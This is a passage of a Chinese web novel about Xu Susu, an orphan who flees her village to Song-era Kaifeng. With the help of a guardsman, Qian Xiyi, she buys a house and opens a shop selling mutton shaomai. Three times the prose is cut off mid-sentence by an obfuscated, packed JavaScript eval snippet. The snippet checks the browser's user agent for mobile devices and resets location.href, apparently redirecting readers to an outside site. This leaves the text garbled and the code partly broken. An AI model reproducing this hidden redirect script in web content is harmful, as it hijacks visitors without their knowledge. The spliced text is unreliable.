《东京第一小厨娘》 1. 逃离小山村 风很凉，许苏苏裹紧身上唯一一件厚实的棉布外袍，往驴车上的稻草堆里钻了钻。 坐在她对面的邻家哥哥温如玉一言不发，闭目养神，初春的天气也并非一个衣衫单薄的读书人能承受。 “俺到了，四娘、温郎君，下车吧。” 距离开封府还有三百里路程，许苏苏跳下驴车，将冻僵了腿的邻家哥哥搀扶下来，温声细语同族兄告别。 “谢谢三六哥，谢谢三六哥。” 若不是邻家哥哥和这位三六哥帮助她逃离，她就要留在西杨村，被迫嫁给族长那个好吃懒做、爱嫖爱赌的癞头侄子。 许三六憨憨一笑，表示这都是些小事，他爹娘早就看不惯族长横行乡里，加之和许苏苏早死的爹有几分交情，帮她一把理所应当。 许苏苏将一叠大钱递给许三六，三人在官道岔路分别。接下来的三百里路，需要许苏苏自己想办法。 唯一能让许苏苏紧绷的神经放松下来的，大概是她出身的京畿开封县下西杨村，距离这里整两天一夜的路程，不用担心还没到开封府，就被强抓回去。 “温大哥，咱们先找茶肆歇一歇，暖和暖和身子。” 温如玉满怀歉意，咳嗽两声，拿起自己的包袱，朝着许苏苏说。 “四娘，拖累你了。” “嗨，哪儿有。” 许苏苏仗着出身农家，经常做农活锻炼出的一副好身体，接过温如玉的书箱背在肩上。 “若不是温大哥替我出面，我怎能拿到这份户贴，说不准到时候连开封县都进不去，就要被当做浮浪人赶出去。” 许苏苏呼出一口热气，臂弯挎着沉甸甸的包袱随着她的动作抖动了几下，随即被小心翼翼放在肩侧，那里面有她全部家当，和最紧要的户贴。 往前走了约莫一刻钟，一间颇有些破败的茶肆出现在眼前。 许苏苏欢欣鼓舞，刚想走进去要一碗热茶，然后就在温如玉惊恐起来的视线里看到一匹黑色的骏马直冲冲朝她撞过来。 “吁。” 许苏苏向前扑倒在地，而那名身穿红色武服、头戴两脚幞头、腰胯一柄长刀的骑士及时勒住马，随着马蹄重重一声跺响，这匹少说也有几百斤的高头大马前蹄堪堪落在距离许苏苏脑袋一寸的地方。 “额。” 许苏苏还没来得及起身，就感受到脚腕处传来钻心的疼痛，她的包袱没有摔坏，而温如玉的书箱却摔烂了。 那骑士迅速跳下马，走到许苏苏跟前，想把人拽起来。 “别，别。” “崴了脚了。” 温如玉三两步上前来，小心翼翼把许苏苏搀扶到茶肆前的小凳上。 这时，他们两个才看到，这名骑士身上穿一层软甲、腰间挎着制式长刀。 许苏苏撇撇嘴，只能自认倒霉。 秀才遇上兵，尚且有理说不清，更遑论她这乡下来的土气姑娘。这位军爷不怪罪自己个儿不看路，惊了人家的马就算不错了。 “这可怎么办？离开封还有三百里。” 许苏苏嘟嘟囔囔，却也不敢去埋怨这挎着刀的军卒。 温如玉慢慢将书拾起来，放到书箱里，看了看坏掉的地方，正巧是背带部分。 许苏苏无奈起来，刚想和温如玉商量是否要雇佣一辆车，就看到那名军卒还没走，正手足无措站在原地。 “小娘子，你没事儿吧。” 许苏苏看了看脚上肿的地方，又看了看温如玉的书箱。这像是没事儿的样子吗？ “这位军爷，方才我妹妹没看清路，惊了您的马。” 温如玉其实也不擅长和人交流，只好闭上嘴从怀里掏出几枚大钱，递给这看起来容貌不错的军卒。 “这就当是赔罪。” 那军卒更不自在了，他也看到许苏苏脚上伤势，默不作声地伸出一只大手把钱推回去，走到许苏苏跟前，半蹲下来。 “得罪了，小娘子。” 这军卒略通一点医术，许苏苏的伤势恰巧在他能处理的范围之内。 一阵剧烈疼痛传来，脱臼的地方被按回原位，幸而许苏苏有过被正骨的经验，在军卒蹲下来，手凑近她时，就意识到该咬紧牙关，否则在人来人往的地方因疼痛尖叫出声，很丢人的。 “谢了。” 许苏苏深吸一口气，试图缓解疼痛，只是脚依旧不能动。 “店家，上三碗热茶。” 说是茶肆，其实不过是一间茶棚，店家就在锅灶后面忙碌，略略提高声音，就能把人唤过来。 许苏苏拒绝了两人的搀扶，自己一瘸一拐走到一张桌子前坐下。 军卒也坐到他们对面，在桌子上放了三枚大钱，聊做茶水费。 “我请二位，刚才得罪了。” 他似乎是渴极了，热腾腾的茶水放到桌子上，看也不看就往嘴里灌。 等喝完茶，这军卒向怀里掏了掏，似是想要掏银子。 没有，他突然想起来，这趟差使花干了他的银子，剩下的是黄金，总不能给这两个看起来就弱气的青年男女两枚金子，若是因为自己的金子给人惹来祸端，岂不是更过意不去。 一时间更加尴尬的军汉摸了摸头，露出个不好意思的笑容，只得转移换题。 “小娘子、小郎君，要往何处去啊？” “开封。” 许苏苏回答，她也猛猛灌了几口热茶，驱散身上的寒气，这样的时代得了风寒，并不是一件小事。 军汉的眼睛亮起来，“小娘子，我载你们去吧。” 似乎是找到了补偿这险些被自己那匹马踩死的小娘子的办法，军汉十分积极的建议。 “我和这位小郎君步行，你坐在马上，三百里路，一两天时间就能走完。” “这。” 温如玉犹疑起来，他并非不想走路，而是担忧另一件事。 温如玉拱拱手，“万一耽搁了您的差事，我们兄妹担待不起。” 军汉大笑起来，将腰胯的刀扔到桌子上，“小郎君多虑，差事办完了，才正好捎带你们一程。” “若是公务在身，谁敢这么耽搁时辰？” “喝茶，喝茶，喝完了茶，咱们就启程。” 许苏苏以一种新奇的姿态跨坐在马上，对于一个乡下姑娘来说，马是很新鲜的。 那军汉，哦，不对，应当是钱希祎公子，将刀挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547483|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马鞍上，正牵着马绳走在前面。 “许娘子，抓紧马鞍，小心掉下来。” 钱希祎，钱姓。 温如玉在听到钱希祎姓名时愣了愣，没敢说太多，只默默提着竹杖跟在钱希祎、许苏苏的马后面慢慢行走。 “两位是兄妹，怎得看起来不太相像？” 旅途寂寞，钱希祎便开始同许苏苏闲聊。 “是邻家哥哥，家中祖辈有交情。” “咳咳。” 钱希祎因为这句话，很快想歪了。 私奔？ “小娘子去京城做甚？” “谋求生计。” 嗯？ 钱希祎有些疑惑，“小娘子年不过双十，想来家中亦有亲朋，为何要孤身一人，跟着个邻家哥哥去京城谋生？” 说着，不善的目光看向温如玉，“可是这邻家哥哥说随你来的？” 许苏苏不知道他在想什么，却敏锐的意识到这军汉或许误会了温如玉。 “我是孤女。” “不想嫁给族长四十来岁的侄子，被夺去家产，才求了温大哥作保，从里正那里弄来户贴，想逃去京城谋求生计。” “还有这等丧良心的族长？” 钱希祎知道自己误会了那读书人，转而又被许苏苏的话吸引过去。 “百种米养百样人，谁说没有。” “小娘子真可怜。” “啊哈哈哈，军爷说笑，既然逃出来了，海阔天高，何处不可去？” 许苏苏很乐观，毕竟再差的情况，也不会像嫁给年龄比自己大二十多岁的混子差了，吧。 “许娘子不担心包袱里的银钱吗？” 钱希祎不忍打击她，“城门盘查，像是小娘子这样的人，少说也要扒三层皮的。” “我看许娘子包袱这么重，想来是带着银子。” 钱希祎嘴巴一张，就说的许苏苏险些从马上跌下去。 “城门有个规矩，绫罗绸缎不收钱，粗布麻衣三分钱，逢孤身女子、鬼祟男子，五分钱。” 许苏苏想了想自己包袱里那些华美非常的金首饰和那些金银锭子，闻弦歌而知雅意，立刻掏出一锭银子要递给钱希祎。 “哈哈，小娘子真有趣，我不缺你那几个钱，且收起来。” “只是告诉你们，日后没有依凭，不要带许多金银出门。” “好人做到底，送佛送到西，我本就想带着你们入城，要小娘子的钱，岂不成了那索要人财物的混子？” 但许苏苏依旧坚持把这锭银子递给钱希祎，“钱大哥，你带着我们两个走了三百里路，我没有表示，那成什么人了？就算我和温大哥是乡下人，也知道知恩图报这话，不只是说给那些夫子相公，公卿王侯听的。” 巍峨的开封府，就在眼前。 “您收着。” “我有书院开具的路引，钱公子带四娘进去吧。” 温如玉展示了城中书院开具的路引和书箱里那几本书，示意自己没什么可供城门守卒盘剥。 “温大哥，告辞。” 许苏苏坐在马上，和温如玉挥手告别，钱希祎一扬鞭，驾着马朝城门走去。 2. 羊肉烧麦 一进开封府，与西杨村截然不同的热闹的感觉扑面而来。 一路上叫卖吆喝的小贩、张灯结彩的正店脚店，以及时不时映入眼帘的二三四层小楼，绵绵不绝。 许苏苏眼睛尖，还能观察到规模较大的酒楼门前柱子上绑着彩帛，正应对了她读到孟元老书中‘凡京师酒店，皆缚彩楼欢门’之语。 嘈杂的人声，驴马嘶鸣声，车轮碾过泥土碌碌作响。 许苏苏来到了一个和她出生的寂寥山村截然不同的世界。 乡下来的小娘子没见过汴梁城的繁华，钱希祎笑了笑，没有主动为许苏苏介绍这座城市和他们前往的地方，而是任由许苏苏以一种惊奇的目光观察这座城市。 等到许苏苏收回目光，钱希祎才询问她接下来有何打算。 大相国寺，就在附近。 “许娘子准备投身大相国寺？” 跳下马来，钱希祎牵住马绳，让马匹驮着许苏苏慢慢行走。 “孤身女子，投靠大相国寺确实不错。” 钱希祎摸摸下巴，“若你没带着许多钱财，我还可以将你放到福田院，那儿是官办收留你们这样无家可归小娘子的好地方，我家有人在福田院做活计，正好收留你。” 在入城前，许苏苏将包里装着的金银首饰样式和金银锭子数量及铜钱贯数一并告知钱希祎，以防备城门上的人盘问时露馅。 这样一笔资财，当时钱希祎瞬间了然，许苏苏为何要坚持往东京城来。 若是在那等封闭的山村被人发现她家那口枯水井下藏着这些东西，恐怕就等不到族长逼嫁了。 “许娘子，脚怎么样？” 牵着马的钱希祎转过头，询问道。 “还是很痛。” 许苏苏扭动脚腕，一阵刺痛传来，呲牙咧嘴的她立刻放弃继续活动。 “索性给你找个牙人，买一栋房子。” 以许苏苏带的金银，在东京城买一栋小房子，绰绰有余。 “可是得有人担保。” 许苏苏很是心动，有买房的能力，谁会愿意租赁房屋，只是她现在只算做个‘客人’，只有一份能让她在东京居住一年半的户贴。 举目无亲。找到愿意为许苏苏作保，不坑害她的保人，谈何容易？ 麻烦钱希祎？许苏苏自认为没有那个脸皮。 人家护送着自己和温如玉三百里，期间还应付了两伙地痞流氓，已经远超过将她撞崴脚那件事的偿还范围。 “哎呀，我给你担保。” 钱希祎被许苏苏沉吟的模样逗乐，“你们中原的小娘子，竟比我们江南地方的汉子还忸怩。” “我不是说了，好人做到底，送佛送到西。” “我总得把许娘子安顿好。” 这容貌颇有些不错的军汉，也有着一颗和容貌十分匹配的好心肠。 在他看来，自己险些害许苏苏丧命，按照道理应当赔付这位小娘子厚厚一笔银钱。 可经过旅途，钱希祎得知，许苏苏仅是和那名叫温如玉的郎君结伴前去京城。 赔付一个孤身一人的小娘子大笔银钱，这显而易见不是赔偿，是祸端。 尽管钱希祎初到京城没有几天，但同僚闲谈中，他记得大相国寺附近的甜水巷里，正好有一位房屋牙人。 “这位军爷，可是为这位小娘找房屋？” 比银钱更管用的，是钱希祎的服饰和那枚殿前司东西班金枪班押班钱希祎的腰牌。 牙人显然误会了钱希祎和许苏苏的关系，“您正合适在御街那儿置办一处宅子，方便时时看望这位小娘。” 钱希祎恶狠狠抽出刀，牙人立刻闭上嘴。 “什么小娘小娘的，嘴巴放干净点儿，这是我袍泽的妹妹。” “速速为她找一栋方便的宅子，要适合孤女住，少不了你的钱。” 牙人心知说错了话，赶忙躬身赔罪，转身到屋子里，拿出十几份房契，供许苏苏和钱希祎挑选。 “您瞧瞧，这儿几份是御姐、马行街和宣德楼附近的小宅子。” “这几份儿是州桥附近的宅子。” “这儿是大相国寺附近的宅子。” “大相国寺甜水巷这栋，小人私以为最适合小娘子居住。” 许苏苏拣选着这些房契，那些要价几千贯、几百贯的当然不做考虑，只要价几贯钱的也不做考虑。前者太贵，后者地方鱼龙混杂，不适合她孤身女子居住。 甜水巷这栋？ “为何如此便宜？就算是我也知道，靠近大相国寺，还是甜水巷的瓦房，怎可能三十贯钱售出？” 牙人将其余的房契收起来，站起身给坐在自家院子里的许苏苏和钱希祎递上一杯清茶，慢慢解释到。 “何止是这三十贯的便宜，那栋房子里还有全套的家具，桌椅板凳、锅碗瓢盆、床榻帷幔一应俱全。” “您若是买下，置办几套被褥就能入住。” 许苏苏颇为困惑，“这可是大伯您自己留着的房屋？” “是也，当年买下时，我想着这屋舍给犬子做新房，娶个浑家。” 头发花白的牙人眼中闪烁着一丝怅然，“奈何那小子投身军中，在灭唐时死了，女儿出嫁哪里用得到这个。” “小娘子若是要，给二十五贯钱。” 想来老牙人也时时打理着那栋屋舍，才说出要是入住，买几套被褥就行的话。 许苏苏感觉到一点不好意思，她猜测老牙人兴许是听到钱希祎说自己是军中遗孤，才会拿出这栋房子，供自己拣选。 “三十贯。” 三十贯钱买来的房子是什么样的？ 许苏苏在办理好过户文书后尚且怀揣着一点忐忑，但是看到甜水巷这栋小瓦房后，所有的忐忑全部成为了欣喜。 “有锅灶！这儿还有栓马柱！” “钱公子，你把马栓到这儿，我给你做饭。” 许苏苏做起家务来异常熟稔，钱希祎被她安置在院子老杏树下的石墩子上，桌子上有从大相国寺附近采买来的一杯紫苏饮，一叠?子。 然后钱希祎就看到一瘸一拐的许苏苏像是一股风一样刮起来，不到一个时辰，这两间瓦舍和原本杂草丛生的小院儿被收拾的干干净净。 许苏苏还没停下，她拎上钱希祎采买来的鸡子、葱、姜、几捆小菜和从屠户那儿拿的羊杂，要做晚饭去。 “香椿芽炒鸡子、萝卜，这是什么？” 钱希祎指点了一下汤盆里沉浮的羊肚碎。 “羊杂汤。” “钱大哥你为我的事跑了一整天，吃点热乎的。” 许苏苏斟上两杯热酒，招呼钱希祎来正厅坐下。 此时即将入夜，许苏苏在屋子里点燃四根蜡烛放到屋子四角的灯笼里，暖红色的光和热腾腾的饭菜一起在早春的料峭里氤氲出暖意，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547484|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是有人间烟火气。 “多谢钱大哥，帮我卖了这几件玳瑁梳篦。” “也多谢钱大哥，帮我找到了这栋房子。” 许苏苏率先捧起酒杯，朝钱希祎致谢。 “萍水相逢，仅仅是因为您撞了我一下，就这样奔走。钱大哥有古代游侠之侠义豪气。” “承你小娘子谬赞。” “当时我那马儿可险些踩烂你的脑袋，哪里是撞崴了脚那么简单。” 许苏苏憨憨一笑，又为他满上一杯酒，“不知道钱大哥对我这孤女在京师谋生有什么能指教？” “小娘子聪慧。” 钱希祎称赞了一句许苏苏的机警，“你有钱财傍身，很不必去大户人家做丫鬟。” “去正店大酒楼做打杂的焌槽虽是个出路，但是小娘子你。” 钱希祎指了指许苏苏这张清秀柔美的小脸儿，“我看，于你而言，也不算个好营生。” “小娘子人干练，操持家里井井有条，想来是个会过日子的人，也不好荐你去富贵人家没白的受那个委屈的。” 许苏苏沉默了，却是如此。 她听懂了钱希祎的言外之意，去了富贵人家，依照自己这张小脸，指不定有什么麻烦招惹。 “嗳，还是先吃饭。” 一时间想不到自己可以凭借什么为生，许苏苏也不气馁，而是盛了一碗汤，递给钱希祎。 “钱大哥，尝尝。” 钱希祎尝了一口乳白色，漂浮着羊肚、羊血和羊肝和一把嫩葱碎的‘羊杂汤’，露出惊诧的表情。 “味道不错啊。” 许苏苏用重酒腌制诸般食材，在佐以肥姜、吴茱萸和一把小胡椒将肥羊肉煸炒出油，然后下入羊肚、羊肝炖煮小半个时辰。 羊汤嫩白，略带一点辛辣香气，临近出锅才下入的羊血嫩滑鲜美。 一碗汤下肚，钱希祎甚至顾不上去吃那几道看起来非常不错的小菜，便又盛起一碗汤细细品味。 “吃吃这个，我特意朝街边老婆婆买来做下酒小菜的。” “香椿芽炒鸡子，倒是个野趣儿。” “这是什么？” “萝卜？” “清拌萝卜。” 总共三道菜，一者鲜美异常、一者异香扑鼻、一者清脆爽口，再配上州桥附近的张婆婆胡饼。 “额，不小心把你那份也吃了。” 钱希祎汗颜，没想到自己这精细惯了的人，竟然会克制不住，将人家的饭食也吃光。 “哎呀，还有呢。” 许苏苏一歪一歪的走进厨房，拿出一屉，类似包子一样的东西。 “许娘子，这是何物？” “为何将馅料露在外面，说是包子，也忒奇怪了点儿。” “钱大哥还能吃不？” 那奇形怪状的包子散发出甜糯糯的香气，还夹杂着一点儿羊肉味儿，钱希祎被吸引了。 许苏苏把东西夹到桌上竹篮子里，“诺，尝一个。” “当真是美味，这是糯米？” “此物名叫羊肉烧麦。” 钱希祎也顾不得别的，就着一口温热的羊汤开始闷头吃这名叫烧麦的物什。 酒饱饭足，两人都瘫坐在椅子上缓神。 看着桌子上的残羹冷炙，钱希祎突然哈哈笑起来，“妙极，妙极。” “许娘子做什么，我算是知道了。” 3. 购房开店 按照许苏苏的厨艺，雇用一青年女子为打杂的焌槽，端些盘子、斟酒换汤，自己做茶饭酒量博士掌勺烹饪，如此开设一个小小食肆，恰如其分。 钱希祎的描绘彻底将许苏苏打动，但是马上到三更半夜，城中要行夜禁，许苏苏只得先将钱希祎送走。 约定好，待到择日，钱希祎休假，两人再行商量。 “呼。” 许苏苏点了点刻意留下的金银与铜钱，十锭五两重的金子、二十锭十两重的银子、一百五十贯大钱，这是许苏苏为自己留下的全部‘家产’。 至于今日钱希祎为她售卖那三件镶金玳瑁梳篦所得剩余钱财及许苏苏年少时在自家后山拾到的金银首饰，全部埋在院子角落约两米深的地方，以供应急取用。 “唔，现在的启动资金是这笔钱。” “一两黄金兑换十两银子，一两银子兑换一贯钱，一贯钱不必有一千，按照省陌规定，七百七十文即可。” 钱希祎为防止许苏苏将一贯钱理解成一千文吃下大亏，特地将京城中金银铜钱兑换的比例告知。 与刚来到这世界时一枚钱恨不得掰成两半花的窘迫相比，现在能有自己的存款，许苏苏已经心满意足。 打更人敲更的声音在街头巷尾回荡，就着这声音，许苏苏沉入甜美梦乡。 钱希祎第二次登门，竟就在两天后。 许苏苏那只脚好了大半，听到拍门声，立刻放下手中活计前去将门臼打开。 “许娘子，看来是好多了。” 钱希祎最关注的当然是许苏苏被自己撞崴的脚，他今日来拜访许苏苏，手里提着一瓶宫中发放的跌打损伤药。 “哝，跌打损伤药，专供禁军的好东西。” “谢谢钱大哥。” 钱希祎十几岁上就被家中长辈扔进军中摔打，能爬到如今这位置，可不仅凭家世。那份继承自长辈的细心，以及为人仗义的性格起了很大作用。 “我向家中开设食肆的袍泽打听过，咱们先去找饮食行当的行会，再去官府办理手续，然后找租赁房屋的牙人找房子。” 许苏苏更加感激钱希祎，这样详细、周到的安排，哪里是人情这么简单，已经算的上恩惠了。 “钱大哥，多谢。” 许苏苏不是小气忸怩的人，不会多说废话，放下手里的活计，将屋子里的门窗锁好，把大门拴上，就跟在钱希祎后面去办理诸项事情。 行会、官府那儿很顺利，有钱希祎这‘靠山’在，塞上些许银两，没人会多为难许苏苏这看起来就弱气的小娘子。 “找食肆的位置？” 这便是钱希祎所不擅长的地方，两人走在御街旁，一时间想不到什么合适的地方。 “许娘子准备卖些什么吃食？” “唔，京中人嗜羊且鸡鸭便宜，羊肉烧麦、鸡丝鸡汤馄饨、炖肥鸭。” “下酒厨子只有你一人，最好还是只卖两样食物，省得做不来。” 钱希祎建议到。 许苏苏点点头。 “等等，既然要卖那名叫羊肉烧麦的吃食。” 钱希祎眼睛一亮，“为何不在州桥附近呢？” “那儿既临近禁军军营，又在开封府为四方通衢，租子便宜，正适合你。” 临近军营，就意味着安全能得到保障；四方通衢，就意味着客流量能得到保证；租子便宜，就意味着可以以廉价的价格吸引食客。 如此地方，许苏苏当即点头同意。 还是那位售卖给许苏苏宅子的牙人，这一次老牙人并没有给许苏苏便利，反倒是推荐一处租子较贵的地方。 “一月三贯钱。” 老牙人露出洁白牙齿，“这儿离府衙最近，平日里巡捕、差役和兵丁常经过。” 老牙人敲敲手杖，“无论哪儿，年轻小娘子开食肆，要么脸皮厚，要么就得有依靠。” “您不能时时看顾，就得另外想法子嘛。” “遇到个高门大户的小衙内，咱们没办法。” “但地痞流氓之类，总是能避就避的。” 老牙人此言语，当真是老成之言，钱希祎都没想到这件事。 尽管本代风气因官家崇文抑武稍有改变，那些军汉、男子却依旧有些前代风气，见了抛头露面讨生活的小娘子，总是管不住手脚和嘴，要挑弄一番。 也因本代开国皇帝是个天底下独一份儿有仁心的好人，女子被调戏了，府衙总该管管的。 钱希祎和许苏苏神色郑重起来，待到老牙人同房主人说和完毕，除中人费外，格外递上了十五枚大钱。 老牙人失笑，没有推辞，从钱希祎手里接过钱，揣到兜里。 “小娘子，须得知道，京城居大不易啊。” 京城居，大不易，说来有些心酸，许苏苏就算去人家家中当丫鬟都算过的舒坦。 在西杨村，村南张寡妇家的阿许连一张小床都没得，只能睡杂草堆。想清洗身体，买块皂子洗洗身子？对不起，不是男孩儿、克死亲爹的丧门星没这个资格。 另外，更心酸的是，一块猪油皂子一文钱，她们家拿不出来。 许苏苏能活到现在，全靠一点乐观态度和苦中作乐的牛马精神。 “知道啦，多谢老伯提点。” 许苏苏看了这间临街店铺的装潢格外惊喜，“桌椅板凳齐全，锅灶也有！” “嗯，接下来雇一个打杂娘子做钱大哥说的，额，焌槽！” 拿出小本子和新削出来的木炭笔，许苏苏刷刷写下接下来要做的事情。 当然，现在还有一件更重要的事要做。 “钱大哥，我昨天炖了羊蹄和羊头，你在这儿稍等等，等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547485|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我拿给你。” 许苏苏扯住钱希祎，示意他在自家门口稍作等待。 过了一会儿，许苏苏哼哧哼哧搬着几乎遮挡住脸的箱子走出来。 这竹箱子看起来一尺宽，二尺长，却有半人高！ 许苏苏一件一件指点钱希祎该怎么存放，如何食用。 “诺，这是四只羊蹄，我特地用赤酱秋油红煨过，能放个一两天。” “这是羊头，我用盐和葱姜炖了炖，你今晚找善解羊的庖丁切开吃。” “这儿是羊杂和料包，羊油我特地给你熬好了，到时你自己在锅里放一些羊肉、羊肉碎煎葱姜，添水熬住至汤色浓白下入羊杂，快出锅时下羊血。” “这羊杂汤如何做，我请人写好了，方子就在包羊肉罐的油纸里夹着。” “这儿是酱羊肉，你切片冷吃即可。” …… 足足二十多包肉和三大包羊肉烧麦，可见许苏苏这两天的忙碌。 “嗨呀，许娘子心意我领了，正好约了和兄弟们喝酒，这下酒菜钱都省了。” 钱希祎不会推拒，那样反而会让许苏苏惴惴不安，更何况他非常喜欢这种朴实的心意。 若许苏苏拿出金银，他反倒会觉得这小娘子轻看自己。 “待到你的食肆开张，我和兄弟们同去。” 许苏苏笑了，“到时候给你打五折。” “什么是五折？” 钱希祎不解，“就是便宜一半儿的意思。” “五折，还真有意思。” 钱希祎咂摸咂摸‘五折’这个词，莫名品出一点趣味儿，“行，那就打五折。” 说完，扬鞭策马，离开许家。 经佣工牙人介绍，许苏苏最终选择了一个名叫阿武的青衫媳妇。 阿武手脚麻利，为人勤快。 最令许苏苏中意的一点就是，阿武是个寡妇，无子的寡妇。 虽然这话有些资本家，可是无牵无挂的人她才放心使用，在东京许苏苏只认识一个钱希祎，算得上无依无靠。 若是阿武仰仗家人欺侮于她，或者见她饮食方子独特生出独占的心思，许苏苏其实没有更好的应对办法。 总不能事事烦恼钱大哥，许苏苏这样想到。她想说的是，就算自己这个乡下来的小娘子，也很有几分聪明的。 作为雇佣阿武的薪资待遇之一，许苏苏会在店铺后为阿武开辟出一间屋舍，置一张床榻，聊做她的栖身之地。 这可怜的，因无子被赶出家门的寡妇得知许苏苏还有这打算时，几乎要感激涕零。 许苏苏暗暗叹息，谁能说她如此照顾阿武，没存着一分弥补当初因没有儿子才被赶出家门的自己和那算不得太好的娘亲呢。 请人写上许家食肆招牌，置办好杯盘勺碟，许苏苏正式拥有属于自己的产业！ 4. 苏苏开店记 天蒙蒙亮，尚未五更。许苏苏和阿武打开小店的门，在正门边挂上‘许记烧麦’的小灯箱，摆放好桌椅板凳，开始烧水。 然而，过了小半刻钟，路边行人来去纷纷，似是没有一个注意到此处新开设的许记烧麦小店。 唯独一个上门的客人，是询问前一家王婆婆包子铺搬到什么地方去？ 第一日嘛，没客人正常。 许苏苏只好如此安慰自己，然后默默往炉灶下添柴火。 “这里可是许娘子的烧麦店？” 一名身着青色武士服、脚蹬长靴、腰胯黑银革带、系着朝天巾的军汉大步踏进许苏苏的小店。 “正是小店，军爷要几个烧麦？” 阿武虽是寡妇，平日里看着默默不语，关键时刻却有几分官道上卖茶娘子的爽利。看军汉观察小店后，没有转身就走，旋即上前去，为军汉安排座位。 “怎么卖的？” “五文钱四个，加两文有一碗鸡汤馄饨。” 军汉沉吟片刻，七文钱一顿早饭，对无家无业的军汉们来说不是舍不得，吃不起。 “那就来上八个，再要一碗馄饨。” “嗳，这就来。” 烧麦在锅上温着，馄饨下了锅，不一会儿就好。许苏苏手脚麻利，还没等这军汉催促，阿武就端着两样食物送到桌上。 军汉起先也是犹疑，在班值的营房里尝到钱家公子烧麦的人都赞不绝口，可真有那么好吃吗？ 马上，食物的香气晕散开，军汉就将这犹疑抛却脑后。 羊肉微微的腥膻味儿里，糯米的香气格外凸出，军汉夹起一个烧麦放到嘴里。嚼到嘴里的烧麦皮弹软有韧劲儿，一层薄薄烧麦皮爆开之后，就是浸润着油脂香味的咸香糯米，再仔细咀嚼，还能吃到几颗肉丁和一点绵软的青豆。 军汉胃口大开，顾不上阿武说可以蘸醋水和吴茱萸、肥姜末，一连把几个烧麦塞到嘴巴里。 “客人，小心噎食，吃些馄饨汤。” 直到阿武提醒，军汉才忙不迭端起馄饨小碗喝一口汤。而清淡鲜美撇去浮油撒着一把小葱花的鸡汤，正好中和羊肉烧卖的油腻。 被热汤激发出的那点葱香正在军汉的五脏六腑里钻呢。军汉彻底被这两样食物征服了。 他狼吞虎咽，那一丝丝从南薰门下值后的疲倦被一扫而空。 热气腾腾的鸡汤，香气四溢的烧卖，此刻那□□颗小馄饨都显得可爱起来。 本该有些寡淡的香菇鸡肉馅儿馄饨，军汉吃的津津有味。 “好吃，好吃，许娘子当真手艺好。” 军汉是个粗人，大字不识，唯一知晓能用以夸赞厨子的词句，就是手艺真好。 简单质朴的话语，让许苏苏被真正鼓励到，她眼睛一亮，从锅灶后面探出小小脑袋，大声说。 “军爷，好吃常来。” 阿武神情振奋，因为这军汉临走时还带走了十五文钱的烧麦，要给袍泽品尝。对许苏苏而言，这就相当于新一批潜在客户。 那二十二枚大钱，被许苏苏珍重收起，放到柜子后的抽屉里。这是她凭借自己的努力赚来的第一份钱，许苏苏很珍惜，也很喜悦。 兴许是那粗犷军汉带来的好运气，随着天色渐渐亮起，时不时会有被烧麦香气吸引来的老少买上四个、八个。也偶尔也会有人贪图鸡汤馄饨价格便宜，留下来加上两文钱吃一碗。 “小娘子，来一碗馄饨，两个烧卖。” “四文钱。” 待到天边渐亮，一个被许苏苏店里食物香气吸引的年老差役走进店门。 年老差役起初只是听路过此处的街坊和叫卖人说东西便宜，心想着省却几分钱还能给小孙女买一块花生酥，就顺着那街坊的话走进许苏苏的小店。 老差役起先还对烧麦造型不以为意，等到食物入口，瞬间知晓为何今早上的更夫会抱着一大包许记烧麦回去。 这名叫烧麦的物什当真比大相国寺的炊饼还美味！ 无一例外，只要吃过许苏苏店子里食物的人，都会额外再多给家人买一份。 “小娘子好厨艺，快快给我包上十二个烧麦，我要给我两个孙孙吃。” 见蒸笼渐渐变少，老差役也有些着急的说道，好像是生怕两个孙孙吃不到这美味物什一样。 许苏苏听到之后，哈哈一笑，额外给老差役包了一只。 “给您孙孙吃。” 因着这一只烧麦，老差役临走前同许苏苏说，要给他的同僚们留几份，我给你荐几个人来。 差役、军汉、老少街坊和背着背篓的叫卖人，许苏苏观察近日来的客人，发现这些人当中军汉居多。 她也想到了原因，于是在即将卖出最后几份烧麦、馄饨时，让阿武挂出售光歇业的牌子。 阿武收拾完店里的碗筷，便向许苏苏说要出去买头油，许苏苏任她去了，自己也好守在店里等钱希祎。 钱希祎今天没有来，许苏苏在店里等到巳时一刻，烧麦和馄饨都放凉，也没有看到他。 如此，只得让买头油回来的阿武收拾店里。 走在路上，许苏苏把玩手里那张精致琉璃卡片许久，终究还是选择放进袖子里。 或许他会来，或许他不会来。 但是许苏苏已经准备好自己的这份报答，尽管它微不足道。 果子行在朱雀门附近，许苏苏要采买一些果子试着做冰饮，好在夏日出售。 “还有两三日就到清明节，你家可要买香烛、纸钱和佛经？” 